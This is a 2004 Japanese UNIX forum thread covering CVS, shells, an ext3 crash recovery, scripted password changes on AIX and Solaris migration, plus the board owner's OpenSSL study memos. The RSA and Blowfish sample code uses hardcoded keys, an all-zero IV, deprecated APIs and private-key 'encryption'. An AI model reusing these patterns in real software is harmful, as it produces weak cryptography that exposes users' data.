# *BSD などは .c と .o が別になっているので、やろうと
# 思えばできるとは思いますが。

で、分ける必要があるかどうかですが、
> あまり余計なファイルを置いてごちゃごちゃさせたくない
という理由であれば、cvs add しなければリポジトリに
登録されないので、「*.o は cvs add してはいけない」
という教育さえしておけば十分ではないでしょうか。

時間が経つにつれソース置き場にゴミがたまるのが嫌だ
ということであれば、定期的にソース置き場を削除し、
checkout することをお勧めします。

わたしは開発環境であっても、毎日ソース置き場を削除、
checkout、make、make install して、まっさらにする
方法が好みです。

# メンバ全員のアカウントをあらかじめ作成しておき、
# 開発は、各メンバのホームディレクトリで行わせる。


>>3585 zsh
> HP-UXは知らないのですが、配列使えるあたりがksh
> っぽいですね。
/usr/xpg4/ に POSIX 系を集めている Solaris とは
違い、HP-UX は OS 全体として POSIX を重視している
ような印象を受けます。sh と ksh は別コマンドに
なってはいますが、sh はかなり POSIX 寄りです。

Bourne shell は /usr/old/bin/sh にあったりします。


>>3575 すすむ
> 「'^(-|$|.*:success$)' 」
'a(x|y|z)' は ax か ay か az にマッチするので、
'^(-|$|.*:success$)' は ^- か ^$ か ^.*:success$
にマッチします。後は正規表現を勉強してください。

No. 3588 # 68user 2004/02/27 (金) 00:11:08
>>3586 まさどん
ありがとうございます。

ついでと言ってはアレですが、掲示板の名称を
    「UNIX、CGI、ネットワーク、Java Servlet についての掲示板」
改め
    「UNIX、CGI、ネットワーク、暗号技術についての掲示板」
としました。


ついでに今日調べたことのメモ。OpenSSL を使って RSA で暗号化 & 復号化。

--------- ここから ---------
#include <stdio.h>
#include <openssl/rsa.h>
#include <openssl/engine.h>
int
main(){
    unsigned char plain_str[]="hogehoge";
    unsigned char crypted_str[200];
    unsigned char decrypted_str[200];
    char errbuf[1024];
    RSA *rsa;
    int n;

    ERR_load_crypto_strings();

    rsa = RSA_generate_key(1024, 65537, NULL, NULL);
    printf("rsa->n = 0x"); BN_print_fp(stdout, rsa->n); putchar('\n');
    printf("rsa->e = 0x"); BN_print_fp(stdout, rsa->e); putchar('\n');
    printf("rsa->d = 0x"); BN_print_fp(stdout, rsa->d); putchar('\n');
    printf("rsa->p = 0x"); BN_print_fp(stdout, rsa->p); putchar('\n');
    printf("rsa->q = 0x"); BN_print_fp(stdout, rsa->q); putchar('\n');
    
    /* printf("RSA_size(rsa)=%d\n", RSA_size(rsa)); */

    /* 暗号化 */
    n = RSA_private_encrypt(strlen(plain_str), plain_str, crypted_str, rsa, RSA_PKCS1_PADDING);
    if ( n == -1 ){
        printf("in encrypt: err=%s\n", ERR_error_string(ERR_get_error(), errbuf));
        goto ERR;
    }
    /* printf("%s\n", crypted_str);*/

    /* 復号化 */
    n = RSA_public_decrypt(n, crypted_str, decrypted_str, rsa, RSA_PKCS1_PADDING);
    if ( n == -1 ){
        printf("in decrypt: err=%s\n", ERR_error_string(ERR_get_error(), errbuf));
        goto ERR;
    }
    /* 検証 */
    if ( strncmp(plain_str, decrypted_str, n) == 0 ){
        printf("OK! plain_str=[%s] decrypted_str=[%.*s]\n", plain_str, n, decrypted_str);
    } else {
        printf("NG! plain_str=[%s] decrypted_str=[%.*s]\n", plain_str, n, decrypted_str);
        goto ERR;
    }
    return 1;

  ERR:
    RSA_free(rsa);
    return 0;
}
--------- ここまで ---------

実行例:
      rsa->n = 0xCA0CBEC6C0384F0387557A9E27A60A9039AB9FAC4D4AE1DA1E08F00093632FAA734AF75E86632E7AFC660A00BF1D703902B57B64CFACD0069314A105295F7624157D3A484C6E1FEBA5A46047E6AE91161DCD51BA7D75B83358F3506D069AEB987D183C0FC21C1BE1F2DF5A0BFF991DB13EFD1E9F079E92BE25CB2BB7D7AD703F
      rsa->e = 0x10001
      rsa->d = 0x35DA87CEF9D5085A6C6C002EBF6AA64E22D0F7D23917C87316A653321416CFD1A2C14C85C9540E43819AC0F7C9F8D2BC9F5837F77AD318EF67AC8BEE90447D7C4F705C57130095BFB51697ECB64CF686414980E1BC814F6AD3EDB3BC2232F88D32892592093E6103AAF89C23B9544254386611B145B9327AA074398D15E60A41
      rsa->p = 0xE4A4D51718E83BF3CF91E0C187EB910FFAED34C37858667A6C27F83020DCF7D2DABA5D0B2CD0FAD0A075E06938420F09111F0A5DEA9B443CAAF6674C343944E7
      rsa->q = 0xE2395BC32DAA75945F637F88F9BB7C05157464C99168E229E5ED86A3A1EE19498BC357E849505F3C2CA7DC868068880E14FA7ADA01B7BD9897A18FB3573336E9
      OK! plain_str=[hogehoge] decrypted_str=[hogehoge]


RSA_generate_key() で RSA 鍵を生成できる。
      引数:
          鍵の bit 数 (この例では 1024 bit)、e (3,17,65537 など)、その他

鍵長についてはよくわからない。上記の例 (平文が hogehoge) では、bit 数を
145 以上にしないと encyrypt 時にエラーになる。なぜ 145? 平文を m として、
m<n ならよいのではないの?

戻り値は
      typedef struct {
            BIGNUM *n;
            BIGNUM *e;
            BIGNUM *d;
            BIGNUM *p;
      } RSA;
的な構造体のポインタ。これが RSA 鍵。詳細は rsa(3)。

それぞれ、以下のような感じ。
    e: encryption exponent (OpenSSL 的には public exponent。暗号化指数)
          ここでは 65537 (=0x10001)。
    n: RSA-modules (OpenSSL 的には public modulus と表記)
    d: decryption exponent (OpenSSL 的には private exponent。復号化指数)
    p,q: 素数のペア

公開鍵は e,n。秘密鍵は d,n。ただし、「秘密鍵は d」と定義している
web・本も散見される。どちらが正しい? まぁ n は公開するわけなので、
どっちでもいいのか?

BIGNUM は OpenSSL 付属の多倍長整数ライブラリ。上記の例のように BN_print_fp
などを使うことで、内容を確認できる。詳細は bn(3)。
ちなみに BIO は OpenSSL 付属の I/O 抽象化レイヤ。詳細は bio(3)。

crypto 関係のエラーコードは unsigned long ERR_get_error(void) を
使うことで取得できる。そのコードを ERR_get_string() に喰わせると
      error:0407006A:lib(4):func(112):reason(106)
という文字列が得られるが、これではわけがわからん。そこで、あらかじめ
      ERR_load_crypto_strings();
としておけば、ERR_get_string() の結果が
      error:0407006A:rsa routines:RSA_padding_check_PKCS1_type_1:block type is not 01
という文字列になる。ちなみに
      % openssl errstr 0407006A
      error:0407006A:rsa routines:RSA_padding_check_PKCS1_type_1:block type is not 01
とすればコマンドラインからでも取得可能。

RSA の秘密鍵による暗号化は RSA_private_encrypt() を使う。
第四引数はパディング方式。ここでは RSA_PKCS1_PADDING として
いるので、PKCS#1 の方式で勝手にパディングしてくれる。
RSA_NO_PADDING を選ぶとパディングが行われないので、呼び出し側が
平文を適切な長さにパディングする必要がある。RSA_private_encrypt の
戻り値は暗号文の長さ。

復号化は RSA_public_decrypt() で。戻り値は復号化した結果の
長さ。復号化されたデータの文字終端などが自動でセットされる
わけではないので、printf("%.*s") などと自分で長さを管理すること。

上記の例では、暗号化した文字列を unsigned char crypted_str[200]
に入れているが、正しくは RSA_size() で得た長さ分の領域を確保して
おくこと。

参考: http://www.cybersyndrome.net/rsa/

No. 3589 # 68user 2004/02/29 (日) 02:31:57
RSA で暗号化してみよう (1)・(2) を作成しました。間違いや
わかりにくい部分の指摘は大歓迎です。
    http://x68000.startshop.co.jp/~68user/net/rsa-1.html
    http://x68000.startshop.co.jp/~68user/net/rsa-2.html

しかし暗号はおもしろい。何かリクエストがあれば (わたしの
レベルを見極めた上で) 書いてください。

No. 3590 # へにか [URL] 2004/02/29 (日) 08:51:10
暗号技術大全を持ってらしているのですね。奇遇ですね、僕もこの間
購入してしまいました。僕はハードっぽい図と数学っぽいところに惹
かれて、立ち読みじゃ飽き足らず、買ってしまいました。

#眠いときは枕代わりになるし、持って動かせば筋トレにもなるし、
#一冊三鳥にもなる、良い本です。←冗談です・・・

今のところリクエストはありませんが、確かに暗号技術は面白いの
で、そのうちあるかもしれません。その節は宜しくお願いいたします。

それに、妖精現実フェアリアルも参考にされているのですね! 僕は
双方向処理で行き着いたところは異なりますが、これも奇遇ですね。
というか、そのサイトは凄すぎです。作者は何者なんだ?と思いつつ、
読んでいます。

#全く関係ないですが、Java Servletは興味から外れたのですか?

ご存知だとは思いますが、妖精現実フェアリアルから引用しますので、
ご参考までに。

このウェブサイトは、まもなく終了します。 このページに書いてあった
情報は、特に断り書きがない限り、自由に使ってください(コピー、
改変を含む)。 転載先においても転載自由にしてかまいません。

No. 3591 # 68user 2004/03/02 (火) 02:56:42
>>3590 へにか
> 暗号技術大全を持ってらしているのですね。
まぁ理解できていませんけどね。

理論を学びたいと思って、他にも以下の本を買ってみました。
理解できたかどうかは聞かないでください。

    暗号理論入門
        http://www.amazon.co.jp/exec/obidos/ASIN/4320120442/249-3448296-8649958
    暗号の代数理論
        http://www.amazon.co.jp/exec/obidos/ASIN/4431708472/249-3448296-8649958
    代数と数論の基礎
        http://www.kyoritsu-pub.co.jp/series/21seiki/01561-4.html

暗号は技術的にも非常に面白いですが、暗号として強いのか
弱いのかが第三者からはっきり評価される世界ですので、
やじうま的視点で見ても、とてもおもしろいです。

    http://x68000.startshop.co.jp/~68user/net/crypt-1.html

で紹介した すずきひろのぶ氏の AES 選定にまつわる話も
そうですが、IPA の CRYPTREC
      http://www.ipa.go.jp/security/enc/CRYPTREC/
に応募したものの、門前払いをくらった暗号がどんなものなのか
調べると、非常に興味深いものがあります。

こんなおもしろい世界を学者のモノだけにしておくのは
もったいない。ぜひ興味を持っていただけると幸いです>All

> このウェブサイトは、まもなく終了します。
これは前々から気になっています。終了されると非常に困る
んですが、webarchive.org (正式にはWayback machine って
いうのかな?) があるから まぁ大丈夫かな、と思っています。

# http://web.archive.org/web/*/http://www.faireal.net/articles/7/01/

> Java Servletは興味から外れたのですか?
諸般の事情から、このサーバでは Java Servlet が動かないのです。
そして仕事でも Servlet はやっていないので、遊べる場所がないのです。

今のわたしの興味は

      暗号 > 逆転裁判3 > 質の高い業務系システムを構築する方法 >>>> WEB > UNIX > Java

です。

No. 3592 # 68user 2004/03/02 (火) 22:56:24
メモ。blowfish による暗号化 & 復号化。

#include <stdio.h>
#include <openssl/blowfish.h>
int
main(int argc, char *argv[]){
    BF_KEY key;
    unsigned char keybuf[]="SECRETKEY!";
    unsigned char plain[128]="This is plain!";
    unsigned char encrypted[128];
    unsigned char decrypted[128];
    unsigned char ivec[8];

    BF_set_key(&key, strlen(keybuf), keybuf);

    printf("plain=[%s]\n", plain);

    memset(ivec, 0, sizeof(ivec));
    BF_cbc_encrypt(plain, encrypted, strlen(plain), &key, ivec, BF_ENCRYPT);

    printf("encrypted=[%s]\n", encrypted);

    memset(ivec, 0, sizeof(ivec));
    BF_cbc_encrypt(encrypted, decrypted, strlen(plain), &key, ivec, BF_DECRYPT);

    printf("decrypted=[%s]\n", decrypted);

    return 0;
}

No. 3593 # へにか [URL] 2004/03/02 (火) 23:13:30
ちゃんと読んでません、と書かれているのに突っ込みを入れるのは
失礼かもしれませんが・・・

#こんなこと言っておきながら、嘘だったらごめんなさい。

http://x68000.startshop.co.jp/~68user/net/crypt-1.html
で紹介している
http://www3.sympatico.ca/wienerfamily/Michael/MichaelPapers/TwokeytripleDES.pdf
ですが、確かに2つの鍵を使う3DESは攻撃方法がある、ということも
書いていますが、どっちかって言いますと、既存の方法、すなわち、
§2の、Merkle-Hellman Attackの方法よりも、早い方法がありますよ、
という論文のような気がします。
恐らく、Merkle-Hellman Attackの方法はA=0となる解を2の56乗用意
して、何とかするけれど、この論文の方法はKnown-Plaintextを用いると、
もっと早く解析できますよ、といっているような。

#そのKnown-Plaintextがなんじゃらほい、というところまでは
#精査していませんが。

それ以降はハードウェアのインプリメンテーションの話ですね。

No. 3594 # 68user 2004/03/03 (水) 00:07:43
>>3593 へにか
ありがとうございます。お返事は後ほど。

で、メモその 2。EVP 版 blowfish 暗号化・復号化。なお、
      http://www.openssl.org/docs/crypto/EVP_EncryptInit.html
は古いバージョンの API。OpenSSL の web は本当にひどい。

#include <stdio.h>
#include <openssl/evp.h>

int do_crypt(FILE *in, FILE *out, int enc_mode){
    unsigned char key[]="SECRET!";
    unsigned char iv[8];
    EVP_CIPHER_CTX ctx;
    char outbuf[256];
    int outlen;

    memset(iv, 0, sizeof(iv));
    EVP_CipherInit(&ctx, EVP_bf_cbc(), key, iv, enc_mode);

    while (1){
        char inbuf[128];
        int inlen;
        inlen = fread(inbuf, sizeof(inbuf[0]), sizeof(inbuf)/sizeof(inbuf[0]), in);
        if ( inlen==0 ){
            break;
        }
        EVP_CipherUpdate(&ctx, outbuf, &outlen, inbuf, inlen);
        fwrite(outbuf, sizeof(outbuf[0]), outlen, out);
    }
    EVP_CipherFinal(&ctx, outbuf, &outlen);
    fwrite(outbuf, sizeof(outbuf[0]), outlen, out);
    return 0;
}

int main(int argc, char *argv[]){
    int enc_mode;
    if ( argc == 1 ){
        printf("Specify enc or dec.\n");
        exit(1);
    }
    if ( strcmp(argv[1], "enc") == 0 ){
        enc_mode = BF_ENCRYPT;
    } else if ( strcmp(argv[1], "dec") == 0 ){
        enc_mode = BF_DECRYPT;
    } else {
        printf("Specify enc or dec.\n");
        exit(1);
    }
    do_crypt(stdin, stdout, enc_mode);
    return 0;
}

No. 3595 # 瀧上 2004/03/03 (水) 16:13:46
>>3587 68user
ご回答ありがとうございます。
.oがsrcと同一ディレクトリに存在するのは基本なのですね。
検討した結果、下記の様な仕様にしました。

単体環境:make終了後*.oは自動削除する。単体で1プログラムを対象(実際には共通ライブラリも含まれますが。。)にmakeするのにタイムスタンプを管理する必要は無いと言う結論です。

結合環境:全コンパイルが必要となる結合以降はsrcファイルと同一ディレクトリに.oを保管する。単体完となっているはずなので、修正のあったファイルをupdateするのみとする。

以上結論報告です。(報告されても。。。と思われるかも知れませんが。。(^^;))

No. 3596 # スナフキン 2004/03/05 (金) 17:26:05
質問するのはお久しぶりです。

つかぬ事をお伺いしますが、VineLinux起動中の停電後の再起動で、
非常に冷や汗モノのメッセージが出現しました。

Mounting proc filesystem: mount /proc/: can't read superblock

これがそのメッセージですが、HDDのブート関連の情報が消えたと言う
事になるのでしょうか・・・(死刑宣告?)
もしその最悪の状態の場合に、その他のパーティションのデータ復旧は
望めないでしょうか。
ちなみになぜかCDブートも出来ない状態です。
ファイルシステムはex3です。

神様仏様どうか最悪の状態では無いように・・・アーメン
何でこんな時に・・・

No. 3597 # スナフキン 2004/03/05 (金) 17:33:49
追加情報ですが、df の表示は /dev/hda6 としか表示されません。
fdisk /dev/hda の結果は、Unable to open /dev/hda です。
う〜ん・・・

No. 3598 # 68user 2004/03/05 (金) 18:11:55
>>3593 へにか
いまだ調査中、というか英文と格闘中です。


>>3595 瀧上
単体環境と結合環境のやり方を変える必要があるのかどうかは疑問です。

Makefile を 2つ作るのか、Makefile は 1つで、環境変数などを見て
単体環境の場合のみ *.o を削除するのか、などの実現方法がわからない
のですが、例えば
    - Makefile に記述した依存関係が不正確だった
    - しかし単体環境では毎回全ソースを build するので影響がなかった
    - ところが結合環境に修正ソースを上げたら、依存関係の不正確さから
        狙いのソースがコンパイルされず、古い版の *.o がリンクされてしまった
などということにならないでしょうか?

ソースが非常に大規模なのでこういう仕組みを作らないと運用できない、
などの理由があるなら仕方ないでしょうが、
      単体と結合でやり方が違う
というのはミスの元ですので、それなりの利点がないなら避けるべきこと
と思います。

> 報告されても。。。と思われるかも知れませんが。。(^^;)
掲示板に質問しておいて結果報告すらしない輩が多いですが、
瀧上さんはちゃんと報告していただけるので、こちらとしても
非常にうれしいことです。


>>3596 スナフキン
そこらへん詳しくないんですが、/proc はカーネル内部のプロセス
状態を見るための覗き穴なので、そこで Can't read superblock とは
奇怪なことです (/proc に superblock なんか存在するのか? という話)。

そもそもこのエラーが出た結果、マウント対象となる HDD が読め
ないなどの異常が発生しているのでしょうか? もしそうなら /proc
マウントにさえ行き着けず、もっと前に /dev/hda などに関する
エラーメッセージが表示されているのではないかと思うのですが。

> fdisk /dev/hda の結果は、Unable to open /dev/hda です。
/dev/hda が / なのでしょうか? /etc/fstab を見せていただけませんか?

あと、/etc/fstab から /proc に関する行をコメントアウトすると
どうなりますか?

で、本当に superblock が飛んでいたりするなら、わたしの手には
負えないです。「ext3 superblock 復旧」などでぐぐると、いくつか
ヒットするようです。

No. 3599 # スナフキン 2004/03/05 (金) 18:54:27
早速の御返答ありがとうございます。

/etc/fstab の中身です。(多分大丈夫だと思いますが書き写し漏れがあるかも)

LAVEL=/ / ext3 defaults 1 1
LABEL=/boot /boot ext3 defaults 1 2
none /dev/pts devpts gid=5,mode=620 0 0
LABEL=/home /home ext3 defaults 1 2
none /proc /proc defaults 0 0
LABEL=/usr /usr ext3 defaults 1 2
LABEL=/var /var ext3 defaults 1 2
/dev/hda7 swap swap defaults 0 0
/dev/fd0 /mnt/floppy auto noauto,owner,kudzu 0 0
(タブを全角スペースに置き換えしてます)

>あと、/etc/fstab から /proc に関する行をコメントアウトすると
ダメです。Read Only になっているので書き込みが出来ませんし、
そもそも vi が何も反応せずに起動しません…
植物状態って事?(T@T)

不思議なことに、インストーラーCD内のfdiskだとパーティション情報が
正常に表示されますが、HDDのモノだと前記の通りです。

No. 3600 # 68user 2004/03/05 (金) 22:03:48
>>3599 スナフキン
> /etc/fstab の中身です
LABEL=... という記述を初めて見たのですが、Linux には
ラベルという仕組みがあるのですね。

要は /dev/hdx がどのマウントポイントに相当するのか、
知りたかったのですが、これではわからないですね。ログ
ファイルなどに記録が残っていませんか?

> Read Only になっているので書き込みが出来ませんし、
mount -o rw,remount /dev/hdx /hoge などで再マウント
できませんか?

> インストーラーCD内のfdiskだとパーティション情報が
> 正常に表示されますが、HDDのモノだと前記の通りです。
正常に表示、とは何が表示されるのですか?

わたしは Linux に詳しいわけではないのですが、全体的に
情報が少なすぎます。

Q1. そもそもマシンに何個の HDD が付いているのですか?
Q2. そのうちどれが壊れたかわかりますか? その根拠は?
Q3. シングルユーザモードで起動して、一部だけでも手動で
        マウントできませんか?
Q4. どこまでマウントに成功しているのですか? / 以外は
        全滅ですか? /boot も /usr も /home も /var も
        見えないのですか?

No. 3601 # スナフキン 2004/03/05 (金) 23:05:42
ごめんなさい、どんな情報が必要かわからなかったのと、自分でも
何が問題なのかよく判らないもので・・・

>再マウントできませんか?
いろいろと指定を変えて試しています。
ただ、パーティンション情報が間違っている時に rw で書き込んで
大丈夫でしょうか?

A1 HDDはIDEが一台のみです。
A2 メッセージをかいつまんで見る感じでは、superblock が読めない
        と表示されているように思いました。
A3 シングルモードで試してみましたがROでマウントされている状態が
        変わりません。
A4 起動中に /proc へのアクセスが出来なくてエラーとなっているようです。
    /boot /var /usr /proc のマウントが失敗しているようですが、 / に
    /usr /var というファイルが存在しますが、/proc というファイルは
    存在していません。

関連サイトをあさって情報を探していますが、ファイルシステムは(も)
よく判らない状態です・・・

ログは /var へアクセスできないのでお手上げです。

No. 3602 # へにか [URL] 2004/03/06 (土) 00:08:25
"Merkle-Hellman" DESと、Googleで検索をかけたところ、
http://info.isl.ntt.co.jp/~ohta/BOJ-Seminar.pdf
を見つけました。21枚目あたりが参考になるかも知れません。

#なんだか、いらない突っ込みしてしまって、余計な苦労を
#かけてしまったとしたら、申し訳ないです。
#お忙しいでしょうし、僕の意見も間違っている可能性大い
#にあるでしょうから、その内気が向いたらで結構です。

No. 3603 # 68user 2004/03/06 (土) 00:31:48
>>3601 スナフキン
> A3 シングルモードで試してみましたがROでマウントされて
> いる状態が変わりません。
シングルユーザモードで起動すれば、Read Only でマウント
されているものだと思います。狙いは / のみがマウントされ
ている状態にすることで、その後ひとつひとつマウントして
みることで、どの部分が壊れているのか原因がわかると考えました。

あとですね、この fstab では LABEL=/home などとファイル
システムのラベルを指定しています。わたしの知る限り FreeBSD や
Solaris にはこういった機能はないので想像ですが、fstab に
ラベルを指定すると、まず全デバイスのラベル名を取得し、
ラベル名が一致したデバイスを mount しようとするのでは
ないかと思います。

で、マウントしようとしているデバイスとは異なる場合でも、
ラベル取得時に壊れたファイルシステムが原因でエラーに
なるのではないかと想像しました (違うかもしれませんが)。

よって、ラベルを使わず
      # mount -o rw,remount /dev/hdx /hoge
などとデバイス名を指定してマウントしてみてください。

> /usr /var というファイルが存在しますが
マウントポイントは最初から必ず存在します。存在するか
どうかではなく、その下にファイルがあるかどうか、つまり
マウントに成功しているかどうかを教えてください。

> パーティンション情報が間違っている時に rw で書き
> 込んで大丈夫でしょうか?
保証はできませんが、大丈夫だと思います。もしファイル
システムとして認識できなければマウントできません。また、
/usr を /var に間違えてマウントしたとろで、/var/bin
とか /var/sbin とか /var/X11R6 などができてしまう程度
です (当然 umount すれば元通りです)。

ただ、そこでプログラム類が悪さをして /var などの下の
ファイルを操作してもらっては困るので、そういう意味でも
「シングルユーザモードで起動」をお勧めします。

No. 3604 # スナフキン 2004/03/07 (日) 01:41:20
結果から書くと諦めました。

教えてもらった事と、考えられる事を幾つか試してみましたが、
何らかのエラーのオンパレード・・・

remount も試しましたが、その内 / に居るのに /etc の内容が
見えたり完全におかしくなって来ました。

ちなみに、/ の中には、
/boot 空
/home 空
/usr 壊れたファイルの断片を含んだファイル
/var 同上
といった内容でした。
(lsコマンドが正常なうちの結果)

まともだった頃の、幾つかのコマンド結果を書いてみます。
#fsck /dev/hda2
Couldn't open /proc/partitions: Input/output error
Is /proc mounted?

# mount /proc
mount: non: can't read superblock

# fdisk /dev/hda
modprobe: modprobe: Can't locate module char-major-27
modprobe: modprobe: Can't locate module char-major-27

Unable to open /dev/hda


しかし、ext3 がクラッシュに強いってのは信じられなくなり
ました、4年近く使っている古いext2のシステムは、大きなト
ラブルも無く今だ健在なのにたった一度の不正終了で・・・。
運が悪いといえばその通りなんでしょうが・・・(涙)

お付き合いありがとうございました。

No. 3605 # スナフキン 2004/03/07 (日) 03:33:57
インストーラーで、前のパーティションを残してインストールする選択
肢が有ったので、/home を残して再インストールしたところ、ラッキー
な事にデータを残せたようです。
/etc は全滅なので全て再設定を行う必要が有りますが、一番重要なデ
ータが残せた事でよしとします。

また、今回のトラブルでファイルシステムのキーワードを沢山見つけま
したが、自分はシステムを作るヒトじゃなく使うヒトなので、あまり
深入りするつもりは有りません。

しかし、バックアップの重要性は友人にあれほど言っている自分が今回
の様なトラブルにあった事でよい戒めとなりました。

ジャーナルシステムを過信するとワタシの様な目に遭いますので、皆さ
まご注意を(^^;;;;

お騒がせいたしまして申し訳有りませんでしたm(_ _)m

No. 3606 # へにか [URL] 2004/03/07 (日) 20:49:33
英語と格闘させてしまってるところ、申し訳ないのですが、
暗号技術大全§15.2をご覧ください。

#ごめんなさい。手元にあるのに気が付かなくって。

しかも、Merkle-Hellmanの論文はacmに登録しないと読めない
ようなので、僕が一人相撲をとっていたようですね。

#間抜けなことをしでかして、すみません。

No. 3607 # バンガード [URL] [E-mail] 2004/03/08 (月) 16:00:43
色々と調べたのですが、どうしても分かりません。
以下の機能のスクリプトを作成中です。

1.ユーザーに入力を促し、ユーザーID、パスワードを入力させる。
2.入力されたパスワードの整合性チェック
                文字数、英文字数、数字文字数、ユーザーIDと不一致etc.
3.正しいパスワードであった場合、passwdコマンドを実行し該当ユーザーのパスワードを変更。

問題は、上記の「3」です。
ユーザーが入力したパスワードをそのままpasswdコマンドに渡し、パスワード変更を行いたいのですが、入力されたパスワード文字列をpasswdコマンドに渡すことが出来ません。
通常時のpasswdコマンド実行時の様に旧パスワード/新パスワード/新パスワード(再入力)を促さずに、変数として持っているパスワード文字列をpasswdコマンドに渡すことは出来ないでしょうか?

環境はAIX 5.2でシェルは出来ればkshで実現したいと考えています。

No. 3608 # 68user 2004/03/08 (月) 17:55:21
>>3607 バンガード
AIX は知りませんが、一般的な UNIX では root 権限があれば
元パスワードを聞かれることはないと思います。
    http://publib16.boulder.ibm.com/pseries/Ja_JP/cmds/aixcmds4/passwd.htm

ただしプログラムで制御するなら、pwdadm を使った方が
よいような気がします。
    http://publib16.boulder.ibm.com/pseries/Ja_JP/cmds/aixcmds4/pwdadm.htm

passwd は人間が操作することを前提としたコマンドなので。

No. 3609 # zsh 2004/03/09 (火) 00:49:09
>>3607 バンガード
passwdコマンドは端末からの入力しか受け付けないため
シェルからpasswdコマンドへ直接値を渡すことは出来ません。
expectを使うのが一般的?かなと思います。
(Solaris以外はさっぱりなので参考程度に。)

>>3608 68user
AIXにはpwdadmというコマンドがあるのですね。
HP-UXのshの話といい、色々と参考になります。

No. 3610 # 68user 2004/03/09 (火) 01:30:50
>>3609 zsh
> passwdコマンドは端末からの入力しか受け付けないため
> シェルからpasswdコマンドへ直接値を渡すことは出来ません。
UNIX 一般の話であれば、そうでもありません。Linux では
    % ( echo oldpasswd ; sleep 3 ; \
            echo newpasswd ; sleep 3 ; \
            echo newpasswd ) | passwd
でできました。Solaris8 だと不可でしたが、本当に端末が
ない状況 (cron からとか、CGI からとか) でやるとうまく
いったりするかも、とか思ったりします。

なぜ sleep が必要かについてはよくわからないんですが、
そのうち Linux の passwd のソースを読んでみよう。

>>3593 へにか
遅くなりましたが、2key-3DES について。お待たせしたわりに
技術的な話ではないんですが…。

http://x68000.startshop.co.jp/~68user/net/crypt-1.html では、
      2key-3DES はやめといた方がいいよ。なぜなら、こんな
      攻撃方法があって、現時点では (全数探索を除くと) 最も
      現実的な攻撃と思われるからでありますよ。
ということを書きたかったのです。よって、これに対して

> 確かに2つの鍵を使う3DESは攻撃方法がある、ということも
> 書いていますが、どっちかって言いますと、既存の方法、すなわち、
> §2の、Merkle-Hellman Attackの方法よりも、早い方法がありますよ、
という指摘はちょっと意図が図りかねるなぁと思っておりました。

つまり Merkle-Hellman Attack の選択平文攻撃よりも既知
平文攻撃の方が脅威であるため、
    「Merkle-Hellman Attack の方は紹介しなくていいかな。
        論文も見つからないし」
と思ったわけです。もしこの認識が誤りであればご教示願います。

No. 3611 # へにか [URL] 2004/03/09 (火) 07:23:26
>>3610 68user

> つまり Merkle-Hellman Attack の選択平文攻撃よりも既知
> 平文攻撃の方が脅威であるため、
> 「Merkle-Hellman Attack の方は紹介しなくていいかな。
> 論文も見つからないし」

当時の僕は論文の意図しか見ておらずこの、「論文も見つからない」
ということ、特に誰でも容易にハイパーリンクを辿ることによって
確認できる方法が無い、というところまで、頭が回っていませんでした。

> と思ったわけです。もしこの認識が誤りであればご教示願います。

いえ、少なくとも現在の僕の認識とは同一です。

#僕の勇み足だったと思います。お詫び申し上げます。

No. 3612 # バンガード [URL] [E-mail] 2004/03/09 (火) 10:09:31
>>3610 68user
バンガードです。

この掲示板を使うのが初めてなので、うまくコメント出来ていなかったら御免なさい。

>UNIX 一般の話であれば、そうでもありません。Linux では
> % ( echo oldpasswd ; sleep 3 ; \
> echo newpasswd ; sleep 3 ; \
> echo newpasswd ) | passwd
>でできました。Solaris8 だと不可でしたが、本当に端末が
>ない状況 (cron からとか、CGI からとか) でやるとうまく
>いったりするかも、とか思ったりします。
        at コマンドで試してみましたが、残念ながら駄目でした。

        引き続きpwdadmについて調査致します。
        また、結果を報告させていただきます。

No. 3613 # バンガード [URL] [E-mail] 2004/03/09 (火) 11:40:26
>>3608 68user
>ただしプログラムで制御するなら、pwdadm を使った方が
>よいような気がします。
    pwdadmについても確認しましたが、残念ながらpasswdと動作は変わらない様です。
    (もう少し、細かい設定が出来はしますが)

    やっぱり、旧/新パスワードを聞いてきて、それぞれの入力が必要であると言う部分では、全く変わりませんでした。

>>3609 zsh
    expectについては、昨日も調査を致しました。
    しかしながら、expectおよびTclの導入が必要ですので、採用を躊躇しています。

No. 3614 # 68user 2004/03/09 (火) 13:33:52
>>3613 バンガード
3608 でも書いたように、root 権限で実行したら
旧パスワードは聞かれないと思いますが、どうですか?

No. 3615 # バンガード [URL] [E-mail] 2004/03/09 (火) 14:19:13
>>3614 68user
はい。この件は返事が抜けていましたね。
申し訳ございません。
仰る通り、root権限であれば確かに古いパスワードは聞かれません。
ですが、結局は新パスワードに入力が必要であり、ここでユーザーの介在が必要なことに変わりはありません。

やっぱり、expectを導入するしかないのだろうかと考え始めています。

No. 3616 # 68user 2004/03/11 (木) 01:40:33
>>3615 バンガード
> やっぱり、expectを導入するしかないのだろうかと考え始めています。
もし AIX の passwd が、どうしても端末からしか読んでくれないなら、
expect などに頼るか、PAM を使ったパスワード変更プログラムを
書くことになるかと思います。

No. 3617 # ビギナー 2004/03/11 (木) 17:28:30
LinuxASからsolaris9に乗せ替えるのですが、
クーロンはどのように移行できるのでしょうか?
まだ実機が来ていなくて何も環境が見えません。
これまでの設定ファイルやスクリプトファイルが
そのまま使えるのか、シェルの変更をしないと使えないのか、
どこに配置するのか・・・少しでも事前に解っていれば助かるかな〜って思ってます。

No. 3618 # 68user 2004/03/11 (木) 18:24:25
>>3617 ビギナー
あらーそれは大変ですね。基本的に機能面 (コマンドの数とかオプションの
種類とか) で言うと Linux > Solaris なので (正確には GNU モノ > Solaris)、
Linux から Solaris への移行は結構面倒です。

まずは Sun が提供している
    「Linux から Solaris オペレーティング環境への移行」
            http://sdc.sun.co.jp/solaris/migration/linux/index.html
をどうぞ (ドキュメントを読むにはユーザ登録が必要だと思われます)。

上記ドキュメントには、当然ながら Sun に都合が悪いことはあまり書かれて
いませんので (互換性ないですよ、とはあまり書かれていない)、以下わたしの
印象を書きます。

全体的に言えることは、
      - Linux (というより GNU) 独自の機能を使っていたら移行に苦労する
      - 古来からの UNIX の機能しか使っていないならあまり苦労しないかも
ということです。GNU モノの一覧はこちらを。
      http://www.linux.or.jp/JM/INDEX/gnu.html
特に Solaris の find・date・grep・tar・make・awk・sed コマンドの機能は、
Linux のそれと比べると貧弱な印象があります。

まぁ Solaris でも GNU モノをインストールすることはできるので、
がんばってプログラムを直すか、Solaris に GNU モノを入れるかという
選択肢はありますけどね。

なお、apache や perl など、Linux にも Solaris にも属さないもの
(第三者が開発しているもの) は、基本的に同じ動きをします。


> クーロンはどのように移行できるのでしょうか?
基本機能は同じですが、例えば
      http://www.linux.or.jp/JM/html/cron/man5/crontab.5.html
